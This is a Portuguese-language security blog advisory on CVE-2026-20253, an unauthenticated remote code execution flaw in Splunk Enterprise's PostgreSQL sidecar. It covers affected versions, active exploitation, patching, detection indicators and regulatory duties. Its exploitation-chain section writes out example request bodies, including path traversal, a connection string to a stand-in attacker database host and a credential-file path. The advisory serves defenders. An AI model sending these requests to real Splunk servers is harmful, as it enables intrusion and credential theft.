Ícone do site Dolutech

Splunk Enterprise: Falha Crítica CVE-2026-20253 RCE

Lucas Catão de Moraes
splunk enterprise CVE

Neste artigo do Blog Dolutech, abordamos uma das vulnerabilidades mais graves de 2026 no ecossistema de monitoramento e segurança corporativa: a CVE-2026-20253, uma falha crítica no Splunk Enterprise com pontuação CVSS de 9.8 que permite execução remota de código completamente sem autenticação. O que torna esta vulnerabilidade ainda mais alarmante é o facto de já estar a ser ativamente explorada na natureza, confirmado pela própria Splunk e pela CISA, que a adicionou ao seu catálogo de Splunk Conhecidas Exploradas (KEV).

Se a sua organização utiliza Splunk Enterprise como plataforma centralizada de logs, SIEM ou monitorização operacional, este artigo é leitura obrigatória.

O Que é o Splunk Enterprise e Por Que Importa

O Splunk Enterprise funciona como o coração de muitas operações de segurança corporativa. Trata-se de uma plataforma centralizada para coleta, indexação, pesquisa e análise de dados gerados por máquinas em toda a infraestrutura de uma organização. Integra logs e eventos provenientes de servidores, aplicações, ambientes de nuvem, dispositivos de rede, ferramentas de segurança e endpoints num único repositório, fornecendo visibilidade em tempo real para equipes de segurança e operações.

É exatamente por isso que um ataque bem-sucedido ao Splunk não compromete apenas uma aplicação: compromete o centro nervoso da defesa da organização. O atacante que controla o Splunk controla os logs, os alertas, as investigações de incidentes e potencialmente as credenciais de dezenas de integrações. Este cenário transforma a CVE-2026-20253 numa ameaça de impacto amplificado.

CVE-2026-20253: A Falha e o Seu Mecanismo

Origem da Vulnerabilidade

A falha reside no serviço sidecar do PostgreSQL presente no Splunk Enterprise. Este componente é responsável por operações de backup e recuperação de base de dados. O problema fundamental: os endpoints deste serviço não implementam qualquer controlo de autenticação (CWE-306, Missing Authentication for Critical Function). Qualquer atacante com acesso de rede ao sistema pode interagir diretamente com estes endpoints sem apresentar credenciais.

Os endpoints expostos são os seguintes:

/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
/v1/postgres/recovery/status/{id}

Acessíveis através da interface web do Splunk via:

/en-US/splunkd/__raw/v1/postgres/recovery/backup
/en-US/splunkd/__raw/v1/postgres/recovery/restore

A Cadeia de Exploração em 10 Passos

A Resecurity documentou de forma detalhada a cadeia de exploração desta vulnerabilidade, que combina múltiplas fraquezas para escalar de acesso não autenticado até execução completa de código:

Passo 1 – Acesso sem autenticação: O atacante envia um pedido ao endpoint /backup com credenciais vazias ou arbitrárias. O serviço aceita e processa o pedido sem qualquer validação:

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: target
Content-Type: application/json
Authorization: Basic Og==

{
  "database":"search_metadata",
  "backupFile":"test"
}

Passo 2 – Path Traversal: O parâmetro backupFile não é validado, permitindo traversal de directórios para criar ficheiros em locais arbitrários do sistema de ficheiros:

{
  "database":"search_metadata",
  "backupFile":"../../../../../../tmp/test"
}

Passo 3 – Controlo do servidor PostgreSQL: O parâmetro database aceita sintaxe de connection string do PostgreSQL, forçando o Splunk a conectar-se a um servidor controlado pelo atacante:

{
  "database":"hostaddr=attacker-db.example.com dbname=testdb",
  "backupFile":"/tmp/backup.dump"
}

Passo 4 – Dump malicioso: O atacante controla totalmente o conteúdo do ficheiro de dump gerado, que é escrito no sistema de ficheiros da vítima.

Passo 5 – Abuso do restore e credenciais locais: O Splunk armazena credenciais PostgreSQL num ficheiro .pgpass. O endpoint de restore pode ser instruído a usar essas credenciais para autenticar contra a instância local:

{
  "database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass",
  "backupFile":"/tmp/backup.dump"
}

Passo 6 – Execução de SQL malicioso durante o restore: Durante a restauração do dump, o PostgreSQL executa os SQL statements contidos no ficheiro. Como o atacante controla o dump, pode injetar objetos maliciosos que escrevem scripts no sistema de ficheiros.

Passo 7 – Execução de código: O script Python alvo é tipicamente:

/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

Ao sobrescrever este ficheiro com código arbitrário, qualquer execução subsequente pelo Splunk resulta em Remote Code Execution (RCE) com os privilégios da conta de serviço do Splunk.

Versões Afetadas

ProdutoVersões AfetadasVersão Corrigida
Splunk Enterprise 10.010.0.0 a 10.0.610.0.7
Splunk Enterprise 10.210.2.0 a 10.2.310.2.4
Splunk Enterprise 9.49.4.0 a 9.4.119.4.12
Splunk Enterprise 9.39.3.0 a 9.3.129.3.13
Splunk Cloud Platform 10.4Anterior a 10.4.2604.310.4.2604.3
Splunk Cloud Platform 10.2Anterior a 10.2.2510.1410.2.2510.14
Splunk Secure Gateway AppAnterior a 3.10.6 / 3.9.20 / 3.8.673.10.6, 3.9.20, 3.8.67

Vale notar que a exposição por defeito varia conforme o tipo de deployment:

Tipo de DeploymentServiço Sidecar PostgreSQL
On-premise Windows (instalação manual)Não instalado por defeito
On-premise Windows (com sidecar)Instalado mas desativado
Splunk Enterprise em AWSInstalado e ativado por defeito

Isto significa que deployments AWS com versões afetadas estão vulneráveis imediatamente após a instalação.

Vulnerabilidades Adicionais no Mesmo Advisory

A CVE-2026-20253 não veio sozinha. A Splunk divulgou simultaneamente três outras vulnerabilidades de alta severidade no mesmo advisory:

CVE-2026-20251 (CVSS 8.8): Desserialização insegura no Splunk Secure Gateway App via biblioteca Python jsonpickle. Um utilizador com baixo nível de privilégio pode alcançar RCE completo através de dados JSON especialmente criados.

CVE-2026-20258 (CVSS 7.1): Cross-Site Scripting persistente em painéis HTML clássicos, permitindo execução de scripts nos navegadores de utilizadores que visualizem dashboards comprometidos.

CVE-2026-20252 (CVSS 7.6): Server-Side Request Forgery (SSRF) na funcionalidade de exportação PDF do Dashboard Studio, contornando validação de domínios confiáveis por correspondência de prefixo.

Exploração Ativa e Resposta da CISA

O que eleva esta falha a prioridade máxima imediata é a confirmação de exploração ativa em ambiente real. Em 18 de junho de 2026, a Splunk atualizou o seu advisory para reconhecer exploração limitada na natureza. No mesmo dia, a CISA adicionou a CVE-2026-20253 ao seu catálogo KEV (Known Exploited Vulnerabilities).

Este é um marco histórico: trata-se da primeira vulnerabilidade Splunk a integrar o catálogo KEV da CISA. As agências federais civis dos EUA (FCEB) foram obrigadas a implementar mitigações até 21 de junho de 2026.

A firma Resecurity está a monitorar ativamente a exploração e identificou indicadores concretos de comprometimento que as organizações devem procurar.

Impacto Real: O Que Um Atacante Pode Fazer

A gravidade desta vulnerabilidade vai muito além do servidor Splunk em si. Dado o papel central do Splunk nas operações de segurança, um comprometimento bem-sucedido pode resultar em:

Acesso a dados de segurança sensíveis: Logs de incidentes, alertas ativos, registos de autenticação, telemetria de segurança e dados de resposta a incidentes podem ser acedidos, modificados ou exfiltrados.

Manipulação de evidências forenses: Atacantes podem alterar ou eliminar eventos indexados, comprometendo investigações em curso e dificultando a resposta a incidentes.

Persistência e evasão de defesas: Scripts, aplicações e componentes do Splunk podem ser modificados para estabelecer persistência e desativar ou manipular capacidades de deteção.

Movimento lateral: O Splunk tipicamente integra-se com Active Directory, serviços cloud, plataformas de segurança endpoint, bases de dados e infraestrutura de rede. Um servidor Splunk comprometido torna-se um ponto de pivô estratégico para ataques a sistemas internos.

Exposição de credenciais: Tokens de API, credenciais de contas de serviço, chaves de integração e segredos de bases de dados acessíveis ao Splunk ficam expostos.

Como Mitigar: Passos Concretos

Prioridade Máxima: Atualizar Imediatamente

A única mitigação definitiva para a CVE-2026-20253 é a atualização para uma versão corrigida. Não existe workaround para esta vulnerabilidade específica.

Para as outras CVEs do mesmo advisory, onde a atualização imediata não for possível:

Deteção de Exploração

Monitorizar os logs em busca dos seguintes indicadores de comprometimento:

Padrões de pedidos suspeitos:

Requests contendo: ../
Parâmetros PostgreSQL: hostaddr=, dbname=, port=, passfile=
Destinos: /v1/postgres/recovery/backup ou /v1/postgres/recovery/restore

Execução de utilitários de base de dados:

# Monitorizar execuções inesperadas de:
pg_dump
pg_restore

Ficheiros criados em locais incomuns:

# Verificar integridade de scripts críticos:
/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

Conexões de rede suspeitas:

Template Nuclei para Deteção

A comunidade de segurança disponibilizou um template Nuclei para deteção automatizada de instâncias Splunk expostas à CVE-2026-20253. O template pode ser encontrado em: https://github.com/0xBlackash/CVE-2026-20253. Este template deve ser utilizado exclusivamente em sistemas próprios ou com autorização explícita.

Hardening Adicional

Além da atualização, implementar as seguintes medidas complementares:

Segmentação de rede: Isolar servidores Splunk de sistemas críticos internos para reduzir o risco de movimento lateral após um eventual comprometimento.

Controlo de acesso à gestão: Restringir o acesso ao Splunk Web, interfaces de gestão e endpoints de recovery a administradores de confiança e redes internas.

Rotação de credenciais: Se houver suspeita de comprometimento, rotacionar imediatamente credenciais PostgreSQL, tokens de API, credenciais de contas de serviço e outros segredos acessíveis ao ambiente Splunk.

Monitorização reforçada: Implementar deteções para criação não autorizada de ficheiros, modificações de ficheiros, execução de processos suspeitos e uso incomum de APIs administrativas.

Contexto Regulatório: RGPD/GDPR, NIS2, DORA e LGPD

A exploração desta vulnerabilidade tem implicações regulatórias diretas para organizações europeias e brasileiras.

Na Europa, sob o RGPD, uma instância Splunk comprometida que resulte em acesso não autorizado a dados pessoais constitui uma violação de dados que obriga a notificação à autoridade competente (em Portugal, a CNPD) no prazo de 72 horas. A NIS2 exige que operadores de serviços essenciais e prestadores de serviços digitais comuniquem incidentes significativos ao CERT-EU e às autoridades nacionais. O DORA (Digital Operational Resilience Act), em vigor desde janeiro de 2025 para entidades financeiras, exige não apenas a comunicação de incidentes TIC mas também que os sistemas críticos como SIEMs sejam auditáveis e resilientes.

No Brasil, a LGPD impõe obrigações semelhantes às do RGPD em matéria de notificação de incidentes à ANPD quando há comprometimento de dados pessoais. O CERT.br e o CTIR Gov emitem alertas que os gestores de segurança devem monitorar. Uma falha num sistema SIEM central como o Splunk que contenha logs com dados pessoais de titulares brasileiros enquadra-se claramente nas obrigações da LGPD.

Em ambas as jurisdições, a falha em aplicar correções disponíveis para vulnerabilidades críticas conhecidas pode ser interpretada pelas autoridades reguladoras como negligência no cumprimento das obrigações de segurança técnica e organizacional.

Conclusão

A CVE-2026-20253 é um exemplo claro de como vulnerabilidades em componentes internos, aparentemente secundários como um serviço sidecar de base de dados, podem transformar-se em vetores de comprometimento total de infraestrutura crítica. A ausência completa de autenticação num endpoint que permite operações arbitrárias no sistema de ficheiros, combinada com a capacidade de forçar conexões a servidores externos e injetar SQL malicioso durante restore, cria uma cadeia de exploração que vai do nada ao controlo total do sistema.

O facto de já estar a ser explorada ativamente e de ter entrado no catálogo KEV da CISA pela primeira vez na história do Splunk deve ser entendido como um sinal de máxima urgência. Aqui na Dolutech, a nossa recomendação é direta: atualizar agora, verificar indicadores de comprometimento e rever toda a postura de segmentação de rede em torno das plataformas Splunk.

O tempo de reação é o diferenciador entre uma vulnerabilidade que passou em branco e um incidente de segurança com impacto real nas operações.

Fontes:

Sair da versão mobile